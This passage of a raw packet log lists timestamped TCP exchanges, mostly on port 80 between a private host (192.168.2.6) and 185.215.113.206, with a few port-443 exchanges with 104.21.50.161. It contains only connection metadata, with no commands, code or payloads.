Dec 16, 2024 15:02:30.478609085 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.478656054 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.478688002 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.478820086 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.479581118 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.479677916 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.479718924 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.480418921 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.480473042 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.480475903 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.480510950 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.481343985 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.481388092 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.481585979 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.481674910 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.482283115 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.482326984 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.482331991 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.482371092 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.483108044 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.483196020 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.483227968 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.483264923 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.483968973 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.484019041 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.484139919 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.484175920 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.484844923 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.484894991 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.484936953 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.484983921 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.485763073 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.485788107 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.485810995 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.485824108 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.486610889 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.486653090 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.543164015 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.543216944 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.543273926 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.543519020 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.543560982 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.543689966 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.543771982 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.544440031 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.544483900 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.544596910 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.544640064 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.545269012 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.545440912 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.545466900 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.545500994 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.546333075 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.546369076 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.546392918 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.546436071 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.547041893 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.547086000 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.547235012 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.547276974 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.547950983 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.548034906 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.548059940 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.548094988 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.548877954 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.548917055 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.549000978 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.549056053 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.549710035 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.549757004 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.549787045 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.549824953 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.550576925 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.550707102 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.550749063 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.551465988 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.551512957 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.551549911 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.551645041 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.552341938 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.552383900 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.552459955 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.552633047 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.553225994 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.553271055 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.553409100 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.553452015 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.554233074 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.554303885 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.554327011 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.554339886 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.555022001 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.555099010 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.555129051 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.555174112 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.555973053 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.556018114 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.556071043 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.556107044 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.556822062 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.556859970 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.556921959 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.556953907 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.557703972 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.557744980 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.557913065 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.558605909 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.558646917 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.558706045 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.559602976 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.559644938 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.559701920 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.559740067 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.560411930 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.560512066 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.560547113 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.561280012 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.561453104 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.561494112 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.562175989 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.562213898 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.562294006 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.562330961 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.562985897 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.563024998 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.640726089 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.640794039 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.640804052 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.640841007 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.640925884 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.640964985 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.640990973 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.641011000 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.641577959 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.641614914 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.641678095 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.641710997 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.642455101 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.642491102 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.642558098 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.642602921 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.642965078 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.642999887 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.643028975 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.643066883 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.643824100 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.643872976 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.643898010 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.643930912 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.644746065 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.644784927 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.644815922 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.644850969 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.645576954 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.645632029 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.645699978 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.645808935 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.646470070 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.646507025 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.646562099 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.646595001 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.647363901 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.647414923 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.647454023 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.647609949 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.648243904 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.648293018 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.648356915 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.648396015 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.649135113 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.649182081 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.649245024 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.649375916 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.650002956 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.650047064 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.650091887 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.650276899 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.650898933 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.650943995 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.650965929 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.651004076 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.651807070 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.651848078 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.651904106 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.651943922 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.652678967 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.652719021 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.652740955 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.652777910 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.653389931 CET	443	49926	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:30.653460979 CET	49926	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:30.653609991 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.653672934 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.653709888 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.654464960 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.654505968 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.667725086 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.667783022 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.667826891 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.667973042 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.668168068 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.668201923 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.668292046 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.668507099 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.669028997 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.669064999 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.669140100 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.669178963 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.669898987 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.669933081 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.670047045 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.670150995 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.670835018 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.670875072 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.670939922 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.670999050 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.671139956 CET	49926	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:30.671164989 CET	443	49926	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:30.671448946 CET	443	49926	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:30.671735048 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.671770096 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.671798944 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.671833038 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.672740936 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.672791004 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.672837019 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.672893047 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.673155069 CET	49926	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:30.673333883 CET	49926	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:30.673338890 CET	443	49926	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:30.673463106 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.673640966 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.673727989 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.673760891 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.674350023 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.674386978 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.674421072 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.674488068 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.675252914 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.675299883 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.675415039 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.675450087 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.676167965 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.676208973 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.676273108 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.676306009 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.677015066 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.677066088 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.677166939 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.677206039 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.677962065 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.678008080 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.678072929 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.678169012 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.678760052 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.678803921 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.739573002 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.739658117 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.739662886 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.739694118 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.739876032 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.740004063 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.740020037 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.740226984 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.740804911 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.740849972 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.740910053 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.741034031 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.741704941 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.741750956 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.741806984 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.741986990 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.742579937 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.742630005 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.742679119 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.742758036 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.743455887 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.743602037 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.743623972 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.743679047 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.744398117 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.744457960 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.744467020 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.744501114 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.745248079 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.745285988 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.745340109 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.745376110 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.746135950 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.746186018 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.746222019 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.746280909 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.747010946 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.747045994 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.747077942 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.747113943 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.747896910 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.747941971 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.748030901 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.748069048 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.748778105 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.748823881 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.748887062 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.748923063 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.749675035 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.749715090 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.749859095 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.749907970 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.750566006 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.750607014 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.750672102 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.750708103 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.751451015 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.751490116 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.751553059 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.751586914 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.752360106 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.752403021 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.752424002 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.752459049 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.753232956 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.753339052 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.753397942 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.755511999 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.755553961 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.756831884 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.756899118 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.758398056 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.758409023 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.758452892 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.758529902 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.758539915 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.758550882 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.758582115 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.758595943 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.758730888 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.758873940 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:30.759577036 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.759588957 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:30.759624004 CET	49911	80	192.168.2.6	185.215.113.206
